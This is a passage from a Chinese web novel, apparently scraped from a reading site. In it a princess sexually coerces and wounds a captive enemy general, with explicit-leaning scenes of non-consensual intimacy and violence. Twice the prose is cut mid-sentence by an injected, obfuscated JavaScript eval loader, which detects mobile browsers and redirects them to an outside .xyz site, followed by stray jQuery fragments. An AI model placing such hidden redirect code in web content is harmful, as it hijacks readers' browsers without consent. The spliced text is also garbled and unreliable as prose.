裴亭春闭上眼吞咽着口水,他的睫毛颤颤,没有回她的话,祝榴便像一条蛇一样地缠着他,转到了他的正面,“裴少将军,你不说话我就……”
祝榴眼神暧昧地扫了又扫,像是要将他整个人都解剖。她看到满意的地方还要遮遮嘴,低低地笑了。
裴亭春像是反应过来,他语气急切地说道:“公主,你不能这样……”
祝榴听到这么一说,更加要放肆一点。
裴亭春下意识地想要将她推开,而她潇洒地往后一退,像要坠入池中,犹如一朵石榴花一样的绽放。裴亭春一个心急,将她扯回怀中。
他自己都愣住了。他的手还停在了空中,仿佛一个提线木偶一样僵硬不敢动。
祝榴贴着他的胸膛,听着他扑通扑通的心跳声,她的耳聋嗡了一声,水声、心跳声还有轻微的喘息声,她快分不清。
“裴少将军,你的心跳得真快。”祝榴脸色微红,戳了戳他的心脏处。
“我只是怕将你推倒,公主又要怪罪我了。”裴亭春干巴巴地解释道,又准备将祝榴推开,结果被她死死地缠着腰,怎么推都推不开。
裴亭春眉头皱起,看向怀中的娇美人。
祝榴抬起了水润润的眸子,声音轻柔地没入了他的耳畔,“裴少将军,与我共浴,可是别人都求不来的机会,你敢推拒绝我?”
她的声音中掺杂着一丝威胁,隐秘而不可侵犯。
“……公主,请你自重。你我之间没有可能,你是贵国公主,而我是一个不入流的……”他声音严肃,眼眸中流转过一丝的失落,苦口婆心地说道。
他这番话太扫兴了,弄得她一阵没趣。
“裴少将军,你可真是个老古板,非得在这个时候提什么身份有别?”祝榴白眼一翻,不客气地吐槽了一句。
一点意思都没了。祝榴压下了眼中的欲/望。
祝榴正要松开,她眼前又出现了一行字。
【“公主,你还有哪里是我没碰过的?”裴亭春将你扑倒在水中,激起了一圈一圈的水花,你刚想说些什么……话却咽了下去淹没在情/欲中,像是潮浪一样的汹涌而来……】
还真是刺激啊。
祝榴在心中升起了一股隐秘的愉悦。
她小小地感叹了一句,无论这是谁写的,她都有些钦佩。
而且十分符合她的恶趣味,祝榴更加期待接下来出现的淫/乱之文。好让她一五一十的,对着裴亭春做一件一件出来。
“裴亭春,你要知道,本公主唾手可得的东西,可不会轻易的松口。我偏不,你能拿我怎样?”祝榴朝那处快速地抓过去。
裴亭春心头一紧。
他飞速地转身,想要握住她的手腕,却被祝榴一把推倒,两人一起跌入池中。
要是放在往常,他绝对还有力气将对方扑过去,但他一是受了重伤,二是没有防备。
裴亭春眼睛都瞪大了,他的牙齿碰上了一片软绵的唇。
他们怎么亲上了……
他的大脑一片空白,这一瞬间像是断了弦一样的,任由她凌/辱。
祝榴只是愣了一下,顺其自然地主动亲吻起来,极具有侵略性地压了上去,忘乎所有地嘶咬着,来得凶猛又热烈,将他的唇齿咬破,尝到了他口腔中的血味,与他交换着爱/欲,将他身边所有的空气掠夺,淹没于滔天的火热中。
她冷白清瘦的手在他的身上游走,掌心传来的温度仿佛要将他灼烧,她明明很轻,轻到一把就能将她推开,但却如山一样的重。
裴亭春双目失神,怎么也推不开她,他遏制不住心中的欲望,胸腔中的心脏在砰砰地跳动,浑身滚烫起来,额头上的汗珠瞬间都能蒸发了。
她反复抚摸着他精致的锁骨,像是抚摸她童年时得到的第一件珍宝,裸/露的肌肤是她获得的胜利品。她的举动让暧昧的气氛增加了几分的色欲,这种快感让她欲罢不能,完全不能放松下来,腰部微微地弓起,只剩下了最原始的欲望,每亲一下,大脑都有像电触一样的颤栗穿过神经。
【你的目光失焦地盯着裴亭春,他眼神邪魅地望着你,手上的动作却不停,你面红耳赤,近乎失声,只能无力地捶打着他的胸膛……】
祝榴完全忽略了突如其来的字眼,全身心的都扑在了裴亭春身上。
好不容易有这样的机会,而且他还不反抗,再不抓紧一点。池中鱼就要逃走了……
祝榴手指抓着他的长发,有一搭没一搭地在手上圈着,祝榴恶劣地拽来拽去,裴亭春喉结微微地滚动,最后克制地闭上了眼睛,尽情让她在手上玩弄。
他发出了粗重的喘息声,被她这粗暴而勾人的行为拉扯,他的身体一步步被侵占,一步步被榨干,他仿佛要到达了极点,不知过了多久,他差点要窒息了。
他们的影子在池中翻涌着,而若有若无的风在他们的身边摇曳着,结束了迷离而凌乱的亲吻,水润润的脸上都洋溢着满当的餍足,汗湿的头发贴在了脸上,黑色的发互相纠缠,在水中铺展。
终于祝榴趴在他的胸上不动了,在空档之间,他挣脱出来,“公主,你玩够了吗?”
他的声音带着不易察觉的怒火,那幅清冷的面庞染上了微微的薄红,心口燥热,仿佛有一团火在燃烧,无法熄灭,也无法摆脱。
“这怎么够呢?裴少将军,你不是也很舒服吗?那为什么不再多玩一会儿呢?”祝榴无辜地眨眨眼,歪着头说道。
她总是有自己的道理,能把别人带到自己的沟中,就要看对方心智坚不坚定,不然……
祝榴的眼神逐渐变得清明,但是她的眼中、脸上还是能看得出没有彻底消散的情欲。而她那眼神仿佛在审视自己的猎物一样,直白而纯粹,让他不由的感到了一丝的屈辱。
“我没有。”裴亭春眼尾泛红,垂着眼眸,不知道心中在想些什么。可是他露着那白皙的脖颈,上面还有一道道抓痕,惹人怜惜。
祝榴听着他的话答非所问,眼神缱绻。
“裴少将军,你的血挺甜的。”祝榴抹了抹发麻的嘴唇,那殷红的血,犹如暗夜中的艳鬼。
裴亭春眼眸中翻涌着凝重又悔涩的情绪,缓缓地吐出了两个字。
“疯子。”
“裴少将军,多谢你的夸赞,确实是个疯子,你形容的没错,我曾经杀过无数个人,尤其是你们……你们国家的人,啊,让我想想,我的眼中仿佛能看到你的兄弟,在我的圈套里全都死去了呢,最后只剩下了你一个人在我的身下苟延残喘。”祝榴蹭了蹭白皙的脖颈,埋在他的颈窝中,冰冷的唇贴了上去。
“那是我的错。”裴亭春闷闷地说道。
她说了这么多,结果他就回了一句话。祝榴拧了拧拳头,“啊,裴少将军,那你可真是位大英雄呢,一人承担了所有的过错,不过你偿还那些罪孽的最好办法就是向我下跪。”
祝榴闻着他的香,这一瞬间居然能感到了一丝丝的宁静,想在他的怀中安眠。居然是在一个敌国人的怀中产生了这一点的期望,祝榴摇了摇头,想要将自己甩醒。
她肯定是被那些污言秽语影响了,以前的时候也没见着会这样,自从遇到了裴亭春,一切不受控的发展起来。
“裴少将军,你想不想杀我呢?现在是多好的机会呀,这里没有一个人来,只有我们俩……”她的话具有蛊惑性,让人浮想翩翩。
祝榴抓着他的手,指着自己的心脏,只要他露出一点儿的敌意,就能让她撕破妄想。
“公主,在这档事上你还要问我这种事?你就这般想让我杀了你?”
祝榴愣了愣。
裴亭春冷哼一声,又恢复了那副淡然的模样。
什么情况?他这是什么意思?
祝榴满头雾水。这人怎么脸色变化多端,比她还阴晴不定。
两人在池中呆做了很久,满池香甜。
祝榴终于从他的怀抱中挣扎出来,水哗啦哗啦地响着,她的衣服松松垮垮的。她蹭了很久,心情更加得愉悦。
而衣裳早就得浸透了,与她的肌肤贴合在一块,她能感受到身上的不舒畅,但披风在岸上,她还得走过去。
祝榴撑了撑懒腰,有些不太想走是……她那纤细的腰身,裴亭春触及到那片肉色,像触电一样的移开了目光。
裴亭春心中在想,也许他应该泡泡冷水了,这水实在是太烫了……
祝榴居高临下地盯着裴亭春,殷红的嘴唇轻勾。她看到了他身上,他胸膛,他心口因为自己而刮出来的痕迹,鲜红的抓痕,格外的注目。
这全都是她留下的痕迹。
“裴少将军,我要你抱我回去睡觉。”祝榴朝他伸出了手,表情娇憨,蛮横无理地说道。
裴亭春躺在了玉池中,他的目光微微的失神,瞳孔始终没有聚焦,听到了她的话,半天才反应过来,叹了一口气,无奈地说道:“公主,我还是个病人。”
“那又怎样?你还是我的阶下囚呢?”祝榴叉着腰,踩着他的大腿,昂着头说道。
“公主,也许你能先把脚移开,不然我起不来,也抱不了你。”裴亭春握着她的脚踝,目光看到了她脚上有一圈痕迹。
他没有提及那东西是什么,目光灼灼地盯着祝榴。
祝榴移开了腿,等他站起来,裴亭春冷着脸将她公主抱。池子里本来就有水,他每走一步都感觉到了压力,还好身上的人不重。
抱着她到岸边的时候,她叫唤道:“裴少将军,我的披风——!”
“公主,我抱着你可没有办法去拿。”裴亭春无奈地说道。
“我可不管你,你必须给我拿。”祝榴强硬地说道。她的手不停的捶着他的胸膛,砸得他闷哼一声。
裴亭春又蹲了下来,让她将披风拿上,祝榴一出来就觉得有些冷,还好有披风盖住了身子。
裴亭春看着她盖好了披风,但她的身上可没有一点遮掩物,他小声地说道:“公主,你可否在这坐一会儿?我……还没有穿衣。”
祝榴看着他的身子笑了笑,裴亭春想要遮住,但他身上没有可遮的。
“你去换吧。”
等了一会儿,他又从那边回来。裴亭春下意识地想要抱她。祝榴挡住了他的手说道:“你要干嘛?我自己可以走。”
“……”裴亭春被她一噎。
祝榴趁着他走的时候把里面的衣服脱了,现在身上只有一个披风,要是他抱起来的话,就会发现里面啥都没穿。
“裴少将军,跟我走吧。”祝榴踩过了地上的梅花。
裴亭春看见她光着脚丫,又看向了一旁的绣花鞋,他弯腰捡起来了,然后追了上去,刚想让她将鞋子穿上,却听到她说了另一番的话。
“可惜他们没有给你的脖子上安一个锁链,我觉得你很需要。我也需要牵着你走,不然我感到有一点不安心呢。”祝榴在长廊中行走,看着那些花枝招展的梅花,语气随意地说道。
裴亭春抿了抿唇。“公主,明日可以为我安上。”
祝榴听着他的话,脚步一顿,不可思议地扭过头看向他。她看着那张冰冷的脸,嘴角抽了抽。
她怀疑他是不是刚刚纵欲过头……脑子没了……
祝榴立马就笑了笑,迎面说道:“那好,明天我就跟工匠们说。这个是你提的,不是我说的。”
“嗯。”
祝榴将锅推在了他的身上,完全就将她自己刚刚提出来的话忘记了。
解决了这事,她就继续往前走了。可裴亭春的目光一直盯着她的脚,后脚跟已经有些发红了。
“你要不要先把鞋子穿上,这冬天可能会冻伤。”裴亭春最终还是忍不住扯住了她,强行让她停了下来。
“好啊,不过我要你为我穿。”祝榴笑眯眯地说道。
她不认为裴亭春会这么忍气吞声,只不过现在身处敌营,必须演一番而已,什么关心都是浮云,都是假的。
他肯定会让她自己穿。
裴亭春却毫不犹豫蹲下身,为她穿鞋,直接把她打懵了。
祝榴忽然想起底下啥都没穿。那等会儿他穿完鞋,一抬头不就什么都看到了。
“裴……”她差点就直呼大名了。
“裴少将军,你给我起来,你可是一位将军,居然屈膝为我穿,你该不会怀着什么目的吧。我不要你给我穿。”祝榴想要拔腿就跑,结果被他牢牢地按住了脚踝,她并住了腿。
裴亭春抬起冷幽幽的目,偏执地说道:“公主,穿鞋。”
恰好这时寒风吹过,她那披风摇来摇去,露出了里面若隐若现的……感到了一阵寒冷,又被那目光惊着,心虚地摸了摸鼻子。
裴亭春低下了头,认真地为她穿上了鞋子。
“穿好了吧,松开我的脚,你抓的我疼了。”祝榴翻脸不认人,踩在了他的手上,裹着披风就往前走,丝毫不管身后那人。
裴亭春没有喊疼,默默地站起来,嘴角蠕动:“公主,你刚刚抛掉的衣裳,会有人捡吗?”
祝榴刚好看到站在不远处的逢久,“这不就是人吗?”
逢久见到他们一前一后的过来,而祝榴脸色还有些不自然,虽然不知道他们发生了什么,但她立马关怀地问道:“公主,是不是今日的水太凉了?”
“没有,逢久,我的衣裳落在里面了。”
“落在里面了?”这话怎么听起来怪怪的,逢久将目光探向后方的裴亭春。
“别看了,我寝房在哪边,这么久没来住,我都快忘了。”祝榴扯向了另一个话题。
逢久没做多想,立马说道:“噢噢,公主,就是之前你走错的那条路。”
“好。”祝榴点点头,回头看向裴亭春,简单粗暴地说道:“裴少将军,今晚和我睡。”
逢久听着这话差点被自己的口水噎住。她家公主可真是语出惊人……
“公主我去给你拿衣裳,你们慢慢聊。”
逢久面色慌乱地跑向玉池,她手里刚摘下的那朵梅花被她丢在了地上,一脚踩了过去。
祝榴感觉身前一道风突然地刮过,面前就只剩下裴亭春,她的嘴角抽了抽,“裴少将军,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533581|186443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她干嘛这么激动?我刚刚有说很古怪的话吗?”
“没有。”裴亭春垂眸,违心地说道。
祝榴眼神怪异地看着他,幽幽地说道:“裴少将军,看来我还是小瞧了你。”
“公主,你说什么?我听不懂?”裴亭春淡然的回答。
原本以为这人也强撑不过今天,但没想到仅是给他医治一下,又泡了一下玉池的药浴,他就能生龙活虎,这人是铁造的吧。
祝榴头一次遇到个这样的劲敌,完全激发了她的征服欲,她想要像之前在池水中一样将他生吞。
但是她又想到了一点,李砚那里怎么办?
那到时候,怎么让他装病弱呢……这人也不像是会好说话,她的心中忧愁一片,而裴亭春淡然自若。
祝榴撇撇嘴,他还真不急呀,觉得自己会逃出去,所以做出这种态度。而这样真是无时无刻都在触动着她的逆鳞,看着他总是一股无名火升了起来。
越是这么淡然,祝榴越要撕破他的伪装。
“可惜了这朵花了。”她要像这朵花一样的将它折断。祝榴目光怜悯地看着地上被踩得七零八碎的花。
“公主,你刚刚也踩了。”裴亭春一本正经地回道。
他真的很容易牵起别人的火,祝榴对他的容忍度已经算好的了,若不是想看看到底谁会来救他,若不是那该死的字眼……
他早就死在了地牢中……
“……裴少将军,我觉得吧,你这张嘴还是少说话为好,小心得罪人。”祝榴越过了花朵,领着男人来到了她的寝房。
她的寝房是城主府里最大的那一间屋子,也是最暖和,铺上了地暖的一间屋子。逢久在她回来以后就吩咐了下人将这里打扫干净,还点上了明亮的红烛,弄得整间屋子的氛围有种暧昧不清,而那原本普通的被褥也换成了红色的喜被。
祝榴目光凝住了,这个被褥……逢久还真是为她着想了。
但是她似乎忘记了一件事,祝榴打开了柜子里,发现空无一物。祝榴摸着下巴,想起来她的衣裳都放在了军营中。
裴亭春倒是有别人送来的新衣裳,可她没有。
这个时候出去拿好像也……明日还得将那里的衣裳送过来一点,或者买一些新衣裳。
裴亭春跟了进来,他把门已经关上了,沉默寡言地凑到了她的身边,就像一根木头一样。
祝榴一转身就撞到了他的胸膛,脑袋都给撞懵了。她按着跳动的太阳穴,忍无可忍地说道:“裴少将军,你干嘛杵在这呀?”
“你说我必须跟着你,服侍你。”
我有说过吗?祝榴闪了闪她那漆黑的眼瞳,她忽然就上下起手,摸了摸他身上,看看有没有乱七八糟的东西。
裴亭春不动弹让她摸完。
“那好,你现在就来服侍我。”祝榴真没找到一些她想找到的东西,扫兴地说道。
祝榴扯住了他的领子,带着他走到了洗漱的架子前。旁边就是梳妆台,上面的铜镜倒映着两人的身影。
“公主,有何吩咐。”裴亭春弯着腰,卑躬屈膝地说道。
祝榴眉头一挑,又一次的猜测,总觉得他的态度怪怪的,似乎是想等她放松警惕,再趁机杀了她,也许他是故意被她活捉。
是来刺杀她的?
不怪她会这么怀疑,实在是她见过了太多,越是亲近的关系越会这么做,何况他们之间还隔着一层仇敌。
他不想让她死,她是不相信的。
她更愿意相信,她身边的许多人都是别有目的地接近她。
祝榴拿起了手巾,丢给了裴亭春,故意砸在了他的脸上,语气挑衅地喊道:“我头发都是湿的,这让我怎么睡觉,你给我擦干。擦不干,你就不准睡觉!”
手巾顺着他的脸掉下来,裴亭春抓住了手巾,“公主,你躺到榻上吧,我为你擦。”
“不用,就在这里。对着铜镜擦。”祝榴没做多少犹豫,脱掉了身上的披风,她才不会信,他会就此屈服。
而有铜镜她也能看到身后那人,脸上的任何变化,也不至于那么被动。
裴亭春目光暗了一瞬,他看到了白皙的脊背,不自觉地动了动喉结,他隔着薄薄的一层里衣摸过了,也碰过了,但现在……
“你还在发什么呆呀?快点,我困死了。”祝榴扇了扇发热的脸颊,这里面比外面热得多,没穿多少衣裳都觉得热。
裴亭春微微地回神,他伸出手抓住了祝榴的长发很柔顺,也很软,就跟她这个人一样,他小心翼翼地拿着手巾,在她的头发上擦着。
他的动作又轻又慢,看他的头发眼神就像是对待自己最珍贵的珠宝,祝榴透过那面铜镜看他的眼神就是这样的。
她心中疑惑,刚想要说。
结果他将头发放下,眼神一瞬间的变化,那份柔情来得快也去得快,一下就不见了,让她完全没有捕捉到。
“公主,我擦好了。”裴亭春恭敬地说。
“还没有,没有擦干,你继续。”
祝榴毫不跟他讲道理,她说没干就是没干。裴亭春只能一寸一寸的将她的身体与头发擦干。
而她继续看向那昏黄的铜镜。烛火照亮了他们俩的脸庞,这样的氛围下,竟然是一对宿敌,而不是一对普通夫妻,在夜晚夫君为自己的妻子擦着头发。
真是稀奇呀。祝榴讽刺一笑。
“裴少将军,看来你当奴隶还是当得不错的。那不知你当暖床奴隶的工夫,如何呢?”祝榴满意地拍了拍他的手,抓住后就不松开了,含情脉脉地盯着他。
“公主,你该睡觉了。”裴亭春回避了话题。
“是啊,是该睡觉了,但我需要一个暖床的人。我实在是太冷了呢……”祝榴反过身,抱着自己的肩膀,摇头晃脑地说道。
“公主,你不需要暖床的人,你也不需要我。”
裴亭春挣脱开祝榴的手,眼神黯淡了一瞬间,嘴角扬起了一抹极淡的笑容,他的笑很浅,分明在看着她,却又隔着很远。
有道是,美人隔花隔云端。祝榴脑袋里瞬间蹦出了这个词语。
祝榴站了起来,推开了他,这人的皮相太具有迷惑性了。不行不行,再这样下去!真的就不行!祝榴扭头看向了首饰盒,拿着一根簪子就插向他。她需要一点血腥唤醒她自己,她可不能再一次沉迷情情爱爱。
她不会拿自己开刀,那受苦的只有裴亭春。反正在所有人的眼里,她就是个暴戾嗜血的公主。
而且他会这么傻吗?干站在那里,也不躲避。
裴亭春眼睁睁地看着簪子,朝他插过来,没有躲,直接怼在了他的肩胛骨上。
祝榴眼中愣了一瞬,没想到他真的不躲。
“我让你当什么你就当什么,我最讨厌有人忤逆我。你不是第一个,上一个坟头已经长草。怎么你不躲,你是想当下一个坟头吗?”她暴怒地说道。
可她的手还搭在簪子上,狠狠一刺。她这里曾经受过伤,她知道这里不会死。
但会痛啊。
裴亭春吐出了一口血,眼神平静地望着她。
她竟然看从这双凤眼之间看不出了一丝的仇恨,也看不出哀怨,更看不出愤怒,他就像是没有一点的情绪一样。
害得她都想问一句,你不痛吗?
祝榴将话吞咽回去,在这个场面上她再问这么一句,有些不当了。他们现在可是仇敌呀,她为什么要去关心一个阶下囚。
她刚想要松开手,裴亭春忽然地抓住了她的手,流出来的血挤在了她的指缝之间。
“公主,我能睡了吗?”裴亭春镇静地问道。
“?”
祝榴脑袋上缓缓地打上了一个问号。
“你刚刚说了擦干头发,就能睡,现在擦干了,可以睡觉了吗?”裴亭春温吞地说道。
祝榴低低地笑了,她仿佛来自地府爬出来的恶鬼,乌黑的长发遮住了她的脸颊,忽然就抬起了她那明亮的眼瞳,“裴少将军,我刚刚可是拿了簪子扎了你,我再偏一点就能扎到你的心脏了。你就没有一点儿怨言吗?”
“公主,你在牢中打了我四十八鞭,比起这个,那鞭痕更加痛。”裴亭春直视她,说起那鞭刑,语气都轻飘飘的,好像一点都不在乎。
“四十八鞭,裴少将军,你还真是会记仇啊?我都没有记住我打了多少。你倒是全记住了啊,你还能记住些什么?”
祝榴嘴角勾起一抹笑容,顺着他的手往里再刺深一点,而那血已经流到了她的臂膀上。
“刚刚我们在玉池,那些事情你可记住了?”
裴亭春脸色不自然地别了别脸。
祝榴话锋一转,“那你也肯定记得我以前的光辉事迹,夏国可是无人不知,无人不晓,那我在你们庆国应该很出名吧。让我想想,你在我的手下被捕走了,如果你真回去了,你觉得那些人会是怎样的看你?”
裴亭春无所谓地垂着眸。
“你不想答吗,那好,我再换个问题,你觉得你能活到什么时候呢?”
“公主,我不懂。”裴亭春没有看着她的眼睛说话,他的手松开了。
祝榴也松开了,手垂下,她闻到了浓重的血腥味。
“你是真不懂还是装不懂啊,我想你应该能听说过,以前在我手中的物件都活不过一个月,你觉得以你这副身躯能撑这么久吗,还是说能比他们活得更久一点?”祝榴勾着他的腰带,将他拉近了一些。
“公主,你不用这么说,我死在你手里很容易,但也很难。明天就会有人来要我回去,如果我能撑得过今晚,那我就是活着,我没撑过就是死。”裴亭春冷静地分析着自己的死活。
“真不知道你怎么坚信这一点的,就因为你会打仗吗?对比无脑的将领,很明显智慧的军师更重要点吧。”
“公主是在说你是这座城的军师吗?”
5. 沐浴
祝榴从床上起身,坐在了铜镜前,她先为自己简单的编了个麻花辫,耷拉在肩头。而旁边的裴亭春侧过头看着她,眼里的情绪复杂又混乱的交织。
等了半晌,逢久的声音又出现了。
“公主,我能进来吗?”
“进来吧。”祝榴在梳妆匣中挑来挑去。
逢久飞快地进来又关上了门,看到了里面一片狼藉,瞬间嘴巴都微微的张开了,眼睛都快瞪出来,这儿是发生了什么灾难吗?
她看向地上有好几块血迹,还散落着几块红纱,地上放着她给出去的盒子,想起了昨夜寒雪飘飘,门口突然站了个白衣男鬼,吓得后背发凉。她又将目光转向了祝榴,更加是让她一时之间一句话也说不出来。
逢久看向了床。她精心布置的东西被扯下来一大半,而床上包裹着一个男人……
她再也不敢乱看了,尤其是看到了裴亭春。
逢久快步走到了祝榴的身侧,将衣裳放在了桌案上。忽然看到了一块白布,不小心撞到,将它弄翻出来正是沾了血的簪子。
“公主,这这是怎么一个情况……这血那簪子这……”逢久半天说不出一句完整的话。
“逢久,记得我说过的一句话吗?不该问的别问。”祝榴回过头,微笑地看着她。
“好好公主,我为你换换衣。”逢久吞咽着恐惧,颤颤巍巍地说道。
祝榴抚额,“逢久,我自己换就行了,你出去吧,等会儿我吃早膳的时候,记得让人来收拾,以后我都在这里住了。还有一件事就是去给我准备一条狗链子,要可以收缩的那种,最好能套在人的脖子上。”
“哦好。我会去军营将你的衣裳拿过来的。还还有别的事情,我也会做好,公主……已经为你准备好早膳了。啊?狗链子?”逢久上句不接下句地说。
逢久听到最后一句,一下子嘴唇都白了。
祝榴眼神微微眯起,看着她这神情都有些不对劲了。
这小丫头又一次怕她了。
“记住了没有?”
“我知道了,我马上就去办。”逢久掩饰住了脸上的畏惧,回想起公主的好,自己催眠自己公主很好,说道。
“没什么事,你可以走了。”
祝榴拿着衣裳就开始换,她们俩的身形不一样,她已经拿的是最大的了,但还是有点紧绷。
她摸着自己的胸口,总感觉这里会突然的崩开,想了想等会还得披上披风。
“你怎么还不走?”祝榴抬起眼,看她。
“那外面的庆国人呢?”逢久谨小慎微地问道。
“晾着。”
“谁叫他自己不挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542050|186443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个好时机,偏要在我吃早膳的时候来。”祝榴满不在乎地说道。
逢久拿起地上的盒子,一溜烟地就跑了出去。
祝榴穿好了衣,看向了床上的裴亭春,他已经半天没有动作了,就像一条咸鱼一样地瘫在床上。
她走过去。
又退了一步,发现没有字出现。才放心的彻底,将裴亭春从捆绑中松开。
“公主,其实我……”
“裴少将军,陪我去吃早膳。”祝榴打断了他的话,扯着他的领子就往外面走。
“其实我想说,我也想换一件衣裳。”
“没有。你个阶下囚,还敢挑三拣四,爱穿不穿,不然我给你全扒了。”祝榴踹开了门,今日竟然出了一点儿阳光,可是这光一点也不热,还是冰冷的一片。
她抬起手,仿佛在触摸着不可见的光,“裴少将军,今天的日子可真好,等会儿吃完早膳,你陪我逛一圈风云城可好?”
“公主,你还要会见使臣。”裴亭春好心地提醒她说道。
“哦,那又怎么了?你先陪我逛完城。”祝榴扯着他往外面走,她吹了一个口哨,立马就有一个暗卫出来。
“公主。”朝她抱拳。
“带我去膳厅。”
裹着严严实实的黑色女人带着他们来到了大厅。